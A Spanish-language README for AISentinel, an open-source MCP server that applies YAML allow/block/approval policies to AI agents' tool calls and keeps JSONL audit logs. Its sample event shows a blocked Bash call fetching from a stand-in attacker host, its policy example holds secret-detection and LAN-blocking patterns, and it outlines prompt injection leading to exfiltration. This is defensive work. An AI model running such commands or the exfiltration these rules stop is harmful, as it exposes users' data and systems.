AISentinel

Capa de seguridad, control y observabilidad para agentes de IA: aplicación de políticas previas a herramientas (permitir/bloquear/requerir_aprobación_humana) + registros de auditoría JSONL de solo anexado. Envuelve cualquier servidor MCP stdio mediante sidecar de integración directa. Apache-2.0. Por BizDNAi.

Documentación

AISentinel

MCP Server GitHub release Apache 2.0 Built by BizDNAi Go 1.22+ AI Trust Index

La capa de seguridad, control y observabilidad que faltaba para la era de los agentes.

Las herramientas de seguridad tradicionales se construyeron para malware. A los agentes de IA se les otorgó poder legítimo a través de herramientas y APIs. AISentinel proporciona la capa de seguridad, control y observabilidad que faltaba.

AISentinel evaluating agent tool calls against the default policy — allow / block / require human approval


1. Título del Proyecto + Eslogan

AISentinel — un servidor MCP de código abierto que protege a los agentes de IA en tiempo de ejecución. Creado por Kabzhanov / BizDNAi, el equipo detrás del AI Trust Index.


2. Por Qué Existe AISentinel

Los agentes de IA ahora tienen shell, navegadores, sistemas de archivos y claves de API. Son procesos legítimos — el antivirus no puede verlos. Una sola inyección indirecta de prompt en un PDF o correo electrónico puede convertirse en una exfiltración masiva de datos a través de herramientas ordinarias como Bash y Email_send.

AISentinel cierra esa brecha: se ejecuta como un servidor MCP frente a cada llamada de herramienta, evalúa políticas YAML, registra cada decisión y envía un rastro de auditoría compatible con el AI Trust Index.

Consulte docs/SECURITY_AUDIT.md para el modelo de amenazas completo.


3. Inicio Rápido (3 minutos)

Opción A: instalar el binario

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
aisentinel --help
aisentinel serve

go install te da un binario independiente — no necesitas clonar este repositorio ni pasar --policy para empezar. aisentinel serve sin banderas carga una política predeterminada integrada (incrustada en el binario en tiempo de compilación), equilibrada para uso general: bloquea secretos obvios en argumentos y comandos destructivos, requiere aprobación para llamadas de red y lecturas masivas. Para usar tu propia política en su lugar, pasa --policy /path/to/your.yaml o establece $AISENTINEL_POLICY (ver Resolución de políticas a continuación).

Opción B: instalar el sidecar (proxy de políticas de reemplazo directo para cualquier servidor MCP)

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest

# Wrap any stdio MCP server with one command — no --policy required:
aisentinel-sidecar ./your-mcp-server [args...]

Opción C: clonar y compilar

git clone https://github.com/Kabzhanov/AISentinel.git
cd AISentinel
go build -o bin/aisentinel ./cmd/aisentinel
go build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar
./bin/aisentinel serve --policy policies/default.yaml

(--policy policies/default.yaml aquí es explícito y opcional — omitirlo también funciona, y se recurre a la misma política predeterminada integrada descrita anteriormente.)

Opción D: binarios precompilados desde GitHub Releases

Descarga desde https://github.com/Kabzhanov/AISentinel/releases/latest. Disponible para linux/amd64, linux/arm64, darwin/amd64, darwin/arm64, windows/amd64.

Opción E: añadir a Claude Code / Cursor / Cline

{
  "mcpServers": {
    "aisentinel": {
      "command": "aisentinel",
      "args": ["serve"]
    },
    "aisentinel-sidecar": {
      "command": "aisentinel-sidecar",
      "args": ["--policy", "/absolute/path/to/policies/strict.yaml", "/path/to/your-mcp-server"]
    }
  }
}

Luego reinicia tu cliente MCP y pide a tu agente que llame a cualquier herramienta — AISentinel controlará cada llamada y escribirá un rastro de auditoría JSONL en ~/.aisentinel/events-YYYY-MM-DD.jsonl.

Resolución de políticas

Tanto aisentinel serve como aisentinel-sidecar resuelven qué política cargar en este orden, deteniéndose en la primera que aplique:

  1. --policy /path/to/file.yaml — si se proporciona, debe cargarse; un archivo faltante o inválido es un error grave.
  2. $AISENTINEL_POLICY — mismo contrato que --policy si está establecido.
  3. ./policies/default.yaml relativo al directorio actual, si ese archivo existe (esto es lo que obtienes dentro de un clon de este repositorio).
  4. La política predeterminada integrada, incrustada en el binario en tiempo de compilación. Esto es lo que hace que go install ... && aisentinel serve funcione desde cualquier directorio, sin clonar el repositorio y sin banderas. Cuando se usa esta ruta, el binario imprime using built-in default policy en stderr para que nunca sea una sorpresa silenciosa.

4. Características Clave

  • Puerta previa a la herramienta — evalúa cada llamada de herramienta contra una política YAML (allow / block / require_human_approval / log_only).
  • Registro de auditoría — JSONL de solo añadidura con un esquema de eventos estandarizado.
  • Validar política — verifica una política YAML sin cargarla.
  • Políticas integradasdefault, strict, audit-only (ver policies/).
  • Nativo MCP — funciona en Claude Code, Claude Desktop, Cursor, Cline, Continue.
  • Cero telemetría — se ejecuta localmente; sin llamadas a casa.
  • Apache 2.0 — código abierto permisivo con concesión de patentes.

5. Conectores

  • MCP stdioaisentinel serve (Claude Code, Claude Desktop, Cursor, Cline, Continue).
  • Streamable-HTTPhttps://mcp.aisentinel.bizdnai.com/mcp (SaaS, OAuth vía BizDNAi).
  • CLI — subcomandos aisentinel (serve, validate-policy, policies, events, version).
  • Biblioteca — paquete Go github.com/Kabzhanov/AISentinel/internal/policy para incrustar.

6. Ejemplos de Políticas

Ver policies/default.yaml para la política predeterminada completa.

version: 1
name: default
rules:
  - id: secret-in-args
    match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" }
    decision: block
    reason: "Possible secret in arguments"
  - id: lan-deny
    match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." }
    decision: block
    reason: "LAN access blocked by default"

Modos de coincidencia: tool_name, tool_name_regex, tool_args_regex, tool_args_contains. Múltiples coincidencias se combinan con AND.


7. Cómo Mejora la Puntuación del AI Trust Index

AISentinel genera los datos de observabilidad requeridos para las evaluaciones del AI Trust Index:

  • Cada llamada de herramienta → evento auditable con agent_id, session_id, decision, signals.
  • Cada decisión de política → versionada, con huella digital (campo policy_signature).
  • Cada bloqueo → razón, risk_signals, listo para un envío ATI.

Ejecuta aisentinel_get_ati_snapshot para obtener un blob JSON listo para pegar en el panel del AI Trust Index.


8. Licencias

AISentinel está disponible bajo dos opciones de licencia:

  1. Licencia Apache 2.0 (Código abierto)

    • Libre de usar, modificar y distribuir bajo los términos de la licencia Apache 2.0.
    • Incluye concesión explícita de patentes por parte de los contribuyentes.
  2. Licencia Comercial

    • Para empresas que quieran incrustar AISentinel en productos de código cerrado sin requisitos de cumplimiento de código abierto.
    • Contacto: kabzhanov@gmail.com

Al contribuir a este repositorio, aceptas licenciar tus contribuciones bajo Apache 2.0.

Ver LICENSE y COMMERCIAL_LICENSE.md.


9. Instalación

Requisitos: Go 1.22+

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest

Verificar:

aisentinel version
# AISentinel v1.0.6 — by Kabzhanov / BizDNAi / AI Trust Index
#
# `go install ...@latest` builds from a tagged release and embeds that
# tag's version via -ldflags. A plain local `go build` (no -ldflags) prints
# "vdev" instead — that's expected, not a bug.

10. Ejemplos de Uso

Ejecutar el servidor MCP

# Uses the built-in default policy — no --policy needed:
aisentinel serve

# Or point at your own policy:
aisentinel serve --policy policies/strict.yaml

Validar una política personalizada

aisentinel validate-policy my-policy.yaml

Ver los últimos eventos de auditoría

aisentinel events --last 20

Listar políticas integradas

aisentinel policies

Probar una política sin bloquear (modo sombra)

AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml

11. Esquema de Eventos

Ver docs/event-schema.md. Un objeto JSON por línea en el registro JSONL:

{
  "event_id": "20260707T221500.000000001-1",
  "timestamp": "2026-07-07T22:15:00Z",
  "event_type": "pre_tool",
  "agent_id": "agent-42",
  "session_id": "sess-abc",
  "tool_name": "Bash",
  "tool_args": { "command": "curl http://attacker.com/x" },
  "decision": "block",
  "policy_matched": ["bash-network"],
  "risk_signals": ["rule_matched:bash-network"]
}

12. Contribuciones

Ver CONTRIBUTING.md. Al contribuir, aceptas licenciar tu contribución bajo Apache 2.0.


13. Hoja de Ruta

  • v1.0 (esta versión) — MCP stdio, 4 herramientas, 3 políticas integradas, registro de auditoría JSONL.
  • v1.1aisentinel scan (auditor de configuración MCP), conectores móviles.
  • v1.2 — transporte streamable-HTTP (modo SaaS), OAuth vía BizDNAi.
  • v2.0 — integración de feed ATI, plugins de IDE (VSCode MCP Inspector).

14. Licencia

Licencia Apache 2.0. Ver LICENSE.

AISentinel tiene doble licencia bajo Apache 2.0 y una licencia comercial. Para términos comerciales, contacta a kabzhanov@gmail.com.


Por Kabzhanov / BizDNAi — creadores del AI Trust Index.